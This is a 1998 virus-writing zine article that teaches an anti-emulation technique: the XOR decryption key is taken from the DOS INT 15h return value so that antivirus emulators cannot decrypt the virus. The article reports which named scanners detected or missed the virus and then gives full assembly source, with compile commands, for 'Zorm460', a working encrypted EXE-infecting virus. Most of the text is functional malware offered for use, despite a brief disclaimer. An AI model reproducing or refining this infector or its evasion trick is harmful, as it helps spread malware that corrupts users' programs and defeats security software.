An Anti-Emulation Routine By: Doxtor L -TI #1- [Introduction] Modern antivirus scanners dont search only strings to detect virus but they try to emulate the code of a program to check it.Of course they cant emulate everything. But you dont know what code they cant. The aim of this article is to teach you an manner to stop scanner in their att- empt to emulate the code of your virus. [How We Do It] Idea is quite simple in theory. When you call an interrupt dos returns a value in ax. Sometimes its an error code sometime its not. For example: xor ax,ax int 15h (according to ralphy: Int 15h cassette Input: ah=00h Return: CF set on error ah=86h no cassette present CF clear if successfully) (thanx to Yesna to show me this interrupt) When you execute this code dos put 86h in ah. And the good news is most of av dont know ah=86h when this code is executed. But what do you want to do with "86h"? Well ...I want to use this value as an (xor) key :) (just modify it a little bit be4). So in theory av cant decrypt your virus since they dont know the key :) Example: I suppose your crypt routine looks like: crypt: xor byte ptr cs:[si],ah inc si loop crypt ret (yes a "lame" xor routine wait the end be4 to laugh ;)) to use the trick replace: lea si,crypt_part+bp mov cx,end_crypt_part-crypt_part mov ah,key call crypt by: lea si,crypt_part+bp mov cx,end_crypt_part-crypt_part xor ax,ax int 15h add ah,key-86h call crypt ---and so on----- (see appendix for a working example) Conclusion: You can search for these values that dos put in ax and test them to know if nevertheless the anti-virus can decrypt your virus. The principle is quiet clear i think. This method is powerful. For now, some heuristic scanners are quite useless against this technique. Nevertheless old scan technique (string search) can detected your virus and scanner still detect "lame" encryp-tion routines and delta-offset routine. (Search elsewhere inside this zine to find some answers to these problems) Whats the (good) solution? Change the key after every infection and use a polymorphic engine of course...its your business to build one;) [Appendix] Disclaimer: This code is presented to illustrate a technique not to damage and spread. All my tests were made in win95-dos-box but i m sure this code works under plain dos (dos5+) * no-tsr encrypted exe-infector * Cant change directory * Infect all true exe-file in current directory. * Dont infect exe-windows files * Dont infect exe-files with overlay * anti-lamer routine :) * Save dta * Dont save time/date * No volontary destructive routine. List of antivirus used: (test on 2nd+ generations) Name: Result: Comments: Tbav 8.06a c # K Cant see infectious Detected code. (High heuristic mode) Avp3.0 build 119 No detected :) (for windows) F-prot 2.28b "Self-relocating Only delta-offset code-encrypted code" and encryption (/analyse /guru mode) Detected routines detected F-prot 3.00 "No virus or suspicious :).Strange no? pre-release files/boot sectors were (analyse mode) found" No detected Nod-ice 7.24 No detected :).Nevertheless its a good dos- based heuristic scanner. Drweb,version 3.27a "Possibly infected Bravo! (feb 1998) with exe-crypt virus" Detected Findvirus 7.85 "This virus is like Vclb" Scan string. (June 1998) (put junk in (/analyze) beginning of virus and inside encry- ption and this av dont detect it ;). ) To compile: tasm/m2 Zorm460.asm tlink/t Zorm460.asm [Code Starts] code segment assume cs:code,ds:code,es:code org 100h key =33h start: xor bp,bp jmp first_time ;skip encryption for first execution begin_virus: call me ;delta_offset routine me: pop bp sub bp,offset me lea si,crypt_part+bp mov cx,end_crypt_part - crypt_part xor ax,ax int 15h add ah,key-86h call crypt jmp over crypt: xor byte ptr cs:[si],ah inc si loop crypt ret over: crypt_part: first_time: push cs ; pop ds ;ds=cs mov word ptr [_es+bp],es ;save current es push cs ; pop es ;es=cs lea si,store+bp ;prepare for host lea di,old+bp ;execution movsw movsw movsw movsw mov ah,1ah ;move the dta lea dx,new_dta+bp int 21h mov ah,4eh lea dx,exe_file+bp mov cx,7 int 21h jnc open_file jmp restore_dta open_file: mov ax,3d02h ;open file found lea dx,new_dta+1eh+bp int 21h xchg ax,bx ;put file handler into bx read_file: mov ah,3fh ;read the header of mov cx,1ch ;file found lea dx,exe_header+bp int 21h test1: ;real exe-file? cmp word ptr [exe_header+bp],'ZM' je test3 test2: ;real exe-file? cmp word ptr [exe_header+bp],'MZ' jne get_another test3: ;infected? cmp word ptr [exe_header+12h+bp],'VI' je get_another test4: ;overlay? cmp word ptr [exe_header+26+bp],0 jne get_another test5: ;windows-exe? cmp byte ptr [exe_header+24+bp],40h je get_another save_exe_header: mov ax,word ptr [exe_header+bp+0eh] mov word ptr [store_ss+bp],ax mov ax,word ptr cs:[exe_header+bp+10h] mov word ptr [store_sp+bp],ax mov ax,word ptr [exe_header+bp+14h] mov word ptr [store_ip+bp],ax mov ax,word ptr cs:[exe_header+bp+16h] mov word ptr [store_cs+bp],ax go_end: mov ax,4202h xor cx,cx mov dx,cx int 21h push ax dx compute_new_csip: push ax mov ax,word ptr [exe_header+bp+8] mov cl,4 shl ax,cl mov cx,ax pop ax sub ax,cx sbb dx,0 mov cl,0ch shl dx,cl mov cl,4 push ax shr ax,cl add dx,ax shl ax,cl pop cx sub cx,ax jmp over_there get_another: jmp get_another2 over_there: change_header: mov word ptr [exe_header+bp+14h],cx mov word ptr [exe_header+bp+16h],dx mov word ptr [exe_header+bp+0eh],dx mov word ptr [exe_header+bp+10h],0ff0h mov word ptr [exe_header+bp+0ah],00ffh mov word ptr [exe_header+bp+12h],'VI' pop dx ax compute_size: add ax,end_virus-begin_virus adc dx,0 mov cx,512 div cx cmp dx,0 je enough inc ax enough: mov word ptr [exe_header+bp+04],ax mov word ptr [exe_header+bp+02],dx write_virus: lea si,begin_virus+bp lea di,heap+bp mov cx,end_virus-begin_virus rep movsb lea si,(crypt_part-begin_virus+heap)+bp mov ah,key mov cx,end_crypt_part-crypt_part call crypt mov cx,end_virus-begin_virus mov ah,40h lea dx,bp+heap int 21h go_beginning: mov ax,4200h xor cx,cx mov dx,cx int 21h copy_new_header: mov ah,40h mov cx,1ah lea dx,exe_header+bp int 21h get_another2: mov ah,3eh int 21h mov ah,4fh int 21h jc restore_dta jmp open_file restore_dta: mov ax,word ptr [_es+bp] push ax pop ds mov dx,80h mov ah,1ah int 21h push ds pop es mov ax,es ;compute cs to execute add ax,10h add word ptr cs:[old_cs+bp],ax ;host restore_host_stack: cli add ax,word ptr cs:[bp+old_ss] mov ss,ax mov sp,word ptr cs:[bp+old_sp] sti go_host: db 0eah ;jmp xx:yy old: old_ip dw 0 old_cs dw 0 old_sp dw 0 old_ss dw 0 store: store_ip dw 0 store_cs dw 0fff0h store_sp dw 0 store_ss dw 0fff0h sign db '(c)Zorm460 by DoxtorL. /TI 1998' exe_file db 'goat*.exe',0 ;Anti-lamer routine :) end_crypt_part: end_virus: _es dw ? exe_header db 1ch dup (?) new_dta db 43 dup (?) heap: code ends end start [End Of File]